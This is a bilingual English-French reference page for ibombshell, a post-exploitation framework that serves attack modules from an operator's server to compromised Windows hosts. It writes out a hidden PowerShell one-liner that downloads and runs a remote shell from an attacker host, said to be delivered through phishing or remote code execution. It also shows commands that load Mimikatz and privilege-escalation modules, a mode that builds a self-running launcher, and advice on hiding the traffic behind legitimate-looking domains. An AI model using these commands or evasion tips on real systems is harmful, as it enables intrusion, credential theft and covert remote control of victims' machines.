ibombshell

Overview

ibombshell delivers a lightweight remote shell (a one-liner launcher) that, once running on a compromised host, pulls individual attack modules over HTTP(S) at the moment they’re needed rather than dropping a full toolkit to disk. Modules cover things like AD enumeration, privilege escalation checks, and lateral movement helpers. It can run interactively (operator-driven) or in “irun” unattended mode where a predefined sequence of modules executes automatically — useful for semi-autonomous post-exploitation.

Common Usage

Start the ibombshell server (hosts the launcher + modules)

python3 ibombshell.py

On the compromised Windows host, execute the generated one-liner (delivered via phishing, RCE, etc.)

powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://<attacker>:8080/shell')"

# From the ibombshell console once a shell checks in:
ibombshell> sessions
ibombshell> use <session_id>
ibombshell> load Invoke-PrivescCheck
ibombshell> run Invoke-PrivescCheck

Unattended mode

irun: generate a standalone launcher that auto-runs a module chain, no operator interaction required after execution

ibombshell> irun --modules Invoke-Mimikatz,Invoke-PortScan --output launcher.ps1

Notes

• Nothing is written to disk on the target by design — modules live in memory, reducing forensic footprint (but increasing visibility to AMSI/EDR memory scanning).
• Works over HTTP/HTTPS, so blend traffic with legitimate-looking domains/paths when possible.
• Has both PowerShell (Windows) and Python (cross-platform) module sets.

ibombshell.py [options]

  --port PORT        Listener port for the module server (default: 8080)
  --ssl               Serve over HTTPS
  --cert FILE          TLS certificate
  --key FILE            TLS private key

ibombshell console commands:
  sessions            List connected shells
  use <id>            Interact with a session
  load <module>       Fetch and load a module into memory
  run <module>        Execute a loaded module
  irun --modules ..   Generate an unattended auto-run launcher
  background          Return to session list
  exit                Quit

Vue d’ensemble

ibombshell fournit un shell distant léger (un launcher one-liner) qui, une fois lancé sur un hôte compromis, récupère des modules d’attaque individuels via HTTP(S) au moment où ils sont nécessaires plutôt que de déposer une boîte à outils complète sur le disque. Les modules couvrent des choses comme l’énumération AD, les vérifications d’élévation de privilèges, et des helpers de mouvement latéral. Il peut fonctionner de manière interactive (piloté par l’opérateur) ou en mode “irun” autonome où une séquence prédéfinie de modules s’exécute automatiquement : utile pour de la post-exploitation semi-autonome.

Utilisation courante

# Démarrer le serveur ibombshell (héberge le launcher + les modules)
python3 ibombshell.py

# Sur l'hôte Windows compromis, exécuter le one-liner généré (livré via phishing, RCE, etc.)
powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://<attacker>:8080/shell')"

# Depuis la console ibombshell une fois qu'un shell se connecte :
ibombshell> sessions
ibombshell> use <session_id>
ibombshell> load Invoke-PrivescCheck
ibombshell> run Invoke-PrivescCheck

Mode autonome

# irun : générer un launcher autonome qui exécute automatiquement une chaîne de modules, sans interaction de l'opérateur après le lancement
ibombshell> irun --modules Invoke-Mimikatz,Invoke-PortScan --output launcher.ps1

Notes

• Rien n’est écrit sur le disque de la cible par conception : les modules vivent en mémoire, ce qui réduit l’empreinte forensique (mais augmente la visibilité face au scan mémoire AMSI/EDR).
• Fonctionne sur HTTP/HTTPS, donc mélanger le trafic avec des domaines/chemins d’apparence légitime quand c’est possible.
• Dispose d’un jeu de modules PowerShell (Windows) et Python (multiplateforme).

ibombshell.py [options]

  --port PORT        Listener port for the module server (default: 8080)
  --ssl               Serve over HTTPS
  --cert FILE          TLS certificate
  --key FILE            TLS private key

ibombshell console commands:
  sessions            List connected shells
  use <id>            Interact with a session
  load <module>       Fetch and load a module into memory
  run <module>        Execute a loaded module
  irun --modules ..   Generate an unattended auto-run launcher
  background          Return to session list
  exit                Quit